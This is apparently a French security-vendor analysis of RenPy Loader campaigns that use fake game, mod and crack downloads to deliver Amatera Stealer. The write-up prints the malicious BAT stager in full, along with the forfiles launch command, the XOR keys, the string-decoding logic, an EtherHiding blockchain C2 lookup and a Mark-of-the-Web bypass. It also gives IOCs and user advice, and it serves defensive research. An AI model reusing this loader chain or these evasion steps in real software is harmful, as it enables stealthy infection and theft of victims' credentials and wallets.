Nous avons détecté plusieurs campagnes utilisant de faux téléchargements de jeux, de mods, de cracks et de logiciels pour diffuser RenPy Loader. Une fois installé, ce chargeur déclenche une chaîne d’infection complexe en plusieurs étapes qui exploite MSBuild et la technique EtherHiding avant de déployer finalement Amatera Stealer.
Amatera est un « infostealer », c'est-à-dire un type de logiciel malveillant conçu pour voler des informations sensibles sur un appareil infecté. Il peut cibler les mots de passe et autres données stockées dans les navigateurs, les portefeuilles de cryptomonnaies, les extensions de navigateur, les applications de messagerie et les fichiers locaux. Les identifiants et les données de session volés peuvent également permettre aux pirates d'accéder aux comptes en ligne de la victime.
La victime peut avoir l'impression d'utiliser un jeu ou un programme d'installation de logiciel tout à fait normal, alors que le logiciel malveillant s'exécute discrètement en arrière-plan.
RenPy Loader, également connu sous le nom de RenEngine Loader, présente un intérêt particulier car il exploite Ren’Py, un moteur légitime utilisé pour créer des romans visuels, des jeux axés sur l’histoire et des fictions interactives. En dissimulant du code malveillant au sein de logiciels associés au jeu vidéo, les pirates peuvent donner à leurs téléchargements une apparence plus crédible aux yeux des personnes à la recherche de jeux, de mods ou de logiciels piratés.
Nous avons déjà constaté que des pirates exploitaient à des fins malveillantes des outils de développement légitimes et des frameworks logiciels émergents, notamment Bun et Deno, pour diffuser des logiciels malveillants. RenPy Loader suit le même schéma : les pirates détournent des technologies légitimes pour dissimuler leurs activités malveillantes, compliquer la chaîne d'infection et rendre la détection plus difficile.
On a également constaté que RenPy Loader diffusait d'autres logiciels malveillants, notamment HijackLoader et Lumma Stealer, ce qui montre que la charge utile finale peut varier d'une campagne à l'autre.
Dans cet article, nous analysons une chaîne d'infection dans laquelle Ren’Py décompresse une archive ZIP contenant un fichier BAT et plusieurs fichiers de projet MSBuild. Ces fichiers chargent un composant .NET infecté par un cheval de Troie, qui décode ensuite un autre composant malveillant.
Ce composant malveillant utilise une technique appelée « EtherHiding » pour localiser son serveur de commande et de contrôle (C2). Au lieu de stocker l'adresse C2 directement dans le logiciel malveillant, les attaquants la dissimulent dans des données stockées sur une blockchain publique. Le logiciel malveillant télécharge ensuite les étapes suivantes de l'attaque à partir de ce serveur, ce qui rend l'infrastructure des attaquants plus difficile à identifier et à neutraliser.
Enfin, nous examinons les charges utiles supplémentaires qui permettent, au final, de déchiffrer et d'exécuter Amatera Stealer.
Les faux téléchargements infectent votre appareil
L'infection commence lorsqu'un utilisateur télécharge ce qu'il croit être un jeu, un mod, un crack ou un logiciel. Nous avons identifié des fichiers malveillants diffusés via :
- Sites web malveillants
- Portails de téléchargement de jeux
- Plusieurs services de partage de fichiers, notamment Wormhole, GoFile, Google Drive et MEGA
Voici quelques-unes des pages détectées qui marquent le début de la chaîne d'infection :
Dans plusieurs cas, le fait de cliquer sur un lien de téléchargement redirigeait l'utilisateur vers un autre site de téléchargement frauduleux. Ces pages présentaient des mises en page variées et utilisaient des noms de services inventés, ce qui contribuait à donner l'impression que les campagnes étaient moins répétitives et rendait l'infrastructure malveillante plus difficile à repérer.
Vous trouverez ci-dessous des exemples de fausses pages de téléchargement utilisées pour diffuser l'archive malveillante :
L'utilisateur télécharge une archive contenant un fichier nommé Setup.exe. L'ouverture de ce fichier déclenche la chaîne d'infection.


La victime voit s'afficher un écran de chargement ou d'installation, mais un code malveillant s'exécute en arrière-plan.

Comment rester en sécurité
Quelques précautions permettent de réduire le risque de télécharger des jeux ou des logiciels malveillants :
- Téléchargez vos jeux et logiciels depuis les sites officiels, les boutiques d'applications fiables ou les plateformes de distribution reconnues.
- Méfiez-vous des logiciels piratés, des mods non officiels et des versions gratuites de jeux payants.
- Méfiez-vous lorsqu'un lien de téléchargement vous redirige vers plusieurs sites web ou services de partage de fichiers que vous ne connaissez pas.
- Vérifiez le contenu des archives téléchargées avant d'ouvrir des fichiers exécutables tels que
Setup.exe. - Recherchez les noms de fichiers inhabituels, les images ou fichiers texte sans rapport avec votre recherche, ainsi que tout contenu qui ne correspond pas à ce que vous aviez l'intention de télécharger.
- Utilisez un logiciel anti-malware en temps réel tel que Malwarebytes.
- Veillez à maintenir à jour votre système d'exploitation, votre navigateur et vos logiciels de sécurité.
Les auteurs de ces campagnes créent sans cesse de nouveaux sites web et modifient régulièrement leurs pages de téléchargement. Le fait qu'un programme d'installation ait un aspect professionnel ou qu'il provienne d'un service de partage de fichiers connu ne garantit pas pour autant que le téléchargement soit sûr.
Analyse technique du chargeur RenPy
Ren’Py est un moteur gratuit et open source permettant de créer des romans visuels, des jeux axés sur l’histoire et des fictions interactives. Ren’Py permet l’intégration de scripts Python, dont les pirates tirent parti pour insérer du code malveillant.
Dans ce cas précis, nous avons détecté du code malveillant dans les fichiers et chemins d'accès suivants :
|
Chemin d'accès |
Description |
|---|---|
|
|
Cours « anti-sandbox » |
|
|
Chargeur |
|
|
Configuration chiffrée par XOR |
|
|
Fichier ZIP chiffré par XOR |
Le propulseur du premier étage a été extrait de libwin32.rpa effectue les opérations suivantes :
- Lit le fichier de configuration
data/.GEget le déchiffre à l'aide du décodage Base64 et d'une opération XOR avec la clé81034149cd6f48c8821340204f92766e. Ce fichier de configuration contient le mot de passe utilisé pour décompresser le fichier ZIP, ainsi que d'autres données de configuration utilisées par le chargeur. - Appels
sys_config.is_sandboxed()et se ferme si un bac à sable est détecté. - Décryptage par XOR
data/j3lpTcg7kBRN.E3à l'aide de la toucheA50YyY1pour télécharger le fichier ZIP. - Extrait le contenu du fichier ZIP dans un dossier choisi au hasard situé sous
%TEMP%/tmp-{5 digits}-{12 characters}et écrit un:Zone.Identifierflux de données alternatif (ADS) avecZoneId=0pour supprimer la « Mark of the Web » et contourner SmartScreen. Il insère également unREMchaîne de caractères dans le fichier BAT extrait. - Lance la charge utile à l'aide de
forfiles.exe. - Envoie MAC de l'appareil et l'identifiant de la campagne à un site web de suivi.


Dans ce cas, le fichier BAT extrait a été exécuté à l'aide de la commande suivante :
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Contenu du fichier BAT :
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Le fichier BAT exécuté effectue les opérations suivantes :
- Se relance dans une console cachée ou sans interface graphique :
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Active les fonctions de propriété MSBuild, ce qui permet d'utiliser des méthodes supplémentaires telles que
AppDomain.CurrentDomain.Loadà exécuter :
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Exécute
MSBuild.exeavecNancy.csprojcomme fichier de projet. Lors de l'évaluation du projet, une fonction de propriété MSBuild malveillante effectue un décodage hexadécimal et charge de manière réflexive l'étape suivante de la DLL.
La DLL « Nancy » infectée par un cheval de Troie et le bytecode personnalisé
Nancy.csproj importe les trois fichiers extraits Nancy.csproj.user, Internal.props, et Nancy.Compile.targets. La DLL malveillante est répartie entre trois valeurs stockées dans ces fichiers.

Nancy.csprojNancy.Compile.targets enchaîne les trois valeurs pour décoder la DLL en hexadécimal et exécuter le DefaultEvaluator5 méthode utilisant AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Ce qui est intéressant, c'est que Nancy.csproj Il remplit deux fonctions : c'est le projet MSBuild utilisé pour exécuter le chargeur de première étape, et il contient également l'étape suivante décodée par le chargeur.
La DLL est une version infectée par un cheval de Troie de la bibliothèque Nancy .NET ; il s'agit d'un chargeur .NET obfusqué contenant du code malveillant implémenté dans le DefaultEvaluator5 classe. Certaines fonctionnalités de la DLL sont implémentées dans un bytecode personnalisé exécuté par cette méthode « main ».

La DLL effectue les opérations suivantes :
- Décrypte les chaînes de caractères issues des ressources à l'aide d'un décryptage XOR à clés multiples.
- Résout les API à l'aide du hachage d'API et
GetDelegateForFunctionPointer. - Modifie les paramètres réseau, notamment en désactivant la validation des certificats TLS et en configurant le proxy système par défaut.
- Effectue des opérations visant à contrecarrer les analyses judiciaires.
- Lit le
_czzfvariable d'environnement, qui pointe vers la précédenteNancy.csprojfichier, puis le décode et l'exécute.
Le principal DefaultEvaluator5 Cette méthode récupère des chaînes de caractères et interprète le bytecode contenu dans les ressources suivantes :
Nancy.Runtime.mvlorimu: Contient le bytecode personnalisé. Le bytecode est interprété par_pvet_sro. Il met en œuvre 23 opcodes servant à déchiffrer d'autres chaînes de caractères et à charger la DLL de l'étape suivante.Nancy.Data.tcnlhxwetNancy.Resources.kxxodp: Contient les chaînes chiffrées et les autres données utilisées pour le déchiffrement, notamment les clés, les longueurs, les index et la S-box.
Les chaînes de caractères sont déchiffrées à l'aide de l'algorithme suivant :
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
La prochaine étape concernant les DLL, GollopDevest, est décodé à partir du même Nancy.csproj fichier utilisant la logique suivante et chargé avec AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack marqueursEtherHiding et Amatera Stealer
L'étape suivante consiste à extraire une DLL nommée GollopDevest.dll, un programme de téléchargement .NET qui utilise la technique « EtherHiding » pour se connecter à son serveur de commande et de contrôle (C2) et télécharger la phase suivante.
Le domaine C2 chiffré est obtenu à l'aide d'une interface JSON-RPC d'Ethereum eth_call demande de bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Ce programme de téléchargement EtherHiding fait probablement partie d'une opération de type « malware-as-a-service » (MaaS), car nous avons constaté qu'il était diffusé dans le cadre d'autres campagnes, notamment celles de ClickFix.
Trois charges utiles supplémentaires sont ensuite téléchargées : deux DLL .NET nommées PavinWide (une DLL anti-analyse) et GollopDevest (une DLL de chargement), ainsi qu'une DLL C++ nommée LanoseThrip, qui, au final, déchiffre et charge Amatera Stealer.
Dans ce cas précis, ces charges utiles ont été téléchargées depuis :
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Les DLL .NET sont fortement obscurcies à l'aide d'un aplatissement du flux de contrôle et d'appels indirects via calli/ldftn, chiffrement de chaînes chiffrement plusieurs algorithmes, du code inutile, du code mort et de fausses chaînes telles que des chemins d'URL.
L'analyse de ces DLL est toujours en cours et sera abordée plus en détail dans les prochains articles de blog.
Indicateurs de compromis (IOC)
Domaines
downpro[.]net– Site de téléchargement frauduleuxmacisofile[.]sbs– Site de téléchargement frauduleuxvisitmama[.]blog– Site de téléchargement frauduleuxvisitmama[.]guru– Site de téléchargement frauduleuxgetgamerfree[.]com– Site de téléchargement frauduleuxfullgames[.]digital– Site de téléchargement frauduleuxflingbase[.]net– Site de téléchargement frauduleuxcitronemu[.]com– Site de téléchargement frauduleuxfilemodo[.]xyz– Infrastructure de distributionstorage06x[.]cfd– Infrastructure de distributionp03sil[.]cyou– Infrastructure de distributionwimsedas[.]xyz– Infrastructure de distributionagainstmor[.]store– Infrastructure de distributionhost03q[.]cfd– Infrastructure de distributioncloud01y[.]cfd– Infrastructure de distributionstorage11x[.]cfd– Infrastructure de distributionstorage04x[.]cfd– Infrastructure de distributionhost82p[.]cfd– Infrastructure de distributioncloud05y[.]cfd– Infrastructure de distributionanalyticstrack-pzh[.]click– Site web de suivilogin.orbitalframework[.]cc– Amatera Stealer C2
Adresses IP
144.124.251[.]171– Permet d'obtenir des charges utiles supplémentaires195.63.140[.]33– Permet d'obtenir des charges utiles supplémentaires78.40.196[.]252– Permet d'obtenir des charges utiles supplémentaires
Hachages de fichiers (MD5)
29203ca123d51b1b33505a0813d360df– Chargeur de première étape (DLL trojanisée)810F257542018BE0FC62AF542D13D012– DLL GollopDevest (DLL de téléchargement)681DB529E402467A4B0567C82A350FC0– DLL PavinWride (DLL anti-analyse)2E116632248A7E1F8AA6BCA92D9C1C90– DLL GollopDevest (DLL de chargement)F8453EFE408CE25B9484F872797E3D63– Charge utile finale
« L'une des meilleures suites de cybersécurité au monde. »
D'après CNET.Lire leur critique →






















